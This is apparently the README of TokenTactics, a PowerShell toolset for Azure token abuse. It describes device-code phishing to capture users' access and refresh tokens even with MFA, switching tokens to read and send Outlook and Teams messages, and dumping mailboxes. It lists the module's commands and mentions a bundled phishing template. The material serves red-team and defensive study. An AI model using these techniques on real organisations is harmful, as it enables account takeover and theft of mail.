Azure JSON Web Token (“JWT”) Manipulation Toolset
Azure access tokens allow you to authenticate to certain endpoints as a user who signs in with a device code. Even if they used multi-factor authentication. Once you have a user’s access token, it may be possible to access certain apps such as Outlook, SharePoint, OneDrive, MSTeams and more.
For instance, if you have a Graph or MSGraph token, you can then connect to Azure and dump users, groups, etc. You could then, depending on conditional access policies, switch to an Azure Core Management token and run AzureHound. Then, switch to an Outlook token and read/send emails or MS Teams and read/send teams messages!
For more on Azure token types Microsoft identity platform access tokens
There are some example requests to endpoints in the resources folder. There is also an example phishing template for device code phishing.
You may also use these tokens with AAD Internals as well. We strongly recommended to check this amazing tool out.
Installation and Usage
Import-Module .\TokenTactics.psd1
Get-Help Get-Azure-Token
RefreshTo-SubstrateTokenGenerate Device Code
Get-AzureToken -Client MSGraph Once the user has logged in, you’ll be presented with the JWT and it will be saved in the $response variable. To access the access token use $response.access_token from your PowerShell window to display the token. You may also display the refresh token with $response.refresh_token. Hint: You’ll want the refresh token to keep refreshing to new tokens!
DOD/Mil Device Code
Get-AzureToken -Client DODMSGraph
Refresh or Switch Tokens
RefreshTo-OutlookToken -domain myclient.org -refreshToken ey..
$OutlookToken.access_tokenConnect
Connect-AzureAD -AadAccessToken $response.access_token -AccountId user@myclient.orgClear tokens
Clear-Token -Token All
Commands
Get-Command -Module TokenTactics CommandType Name Version Source ----------- ---- ------- ------ Function Clear-Token 0.0.1 TokenTactics Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics Function Forge-UserAgent 0.0.1 TokenTactics Function Get-AzureToken 0.0.1 TokenTactics Function Get-TenantID 0.0.1 TokenTactics Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics Function Parse-JWTtoken 0.0.1 TokenTactics Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics Function RefreshTo-GraphToken 0.0.1 TokenTactics Function RefreshTo-MAMToken 0.0.1 TokenTactics Function RefreshTo-MSGraphToken 0.0.1 TokenTactics Function RefreshTo-MSManageToken 0.0.1 TokenTactics Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics Function RefreshTo-OutlookToken 0.0.1 TokenTactics Function RefreshTo-SubstrateToken 0.0.1 TokenTactics
Authors and contributors
- @0xBoku co-author and researcher.
TokenTactic’s methods are highly influenced by the great research of Dr Nestori Syynimaa at https://o365blog.com/.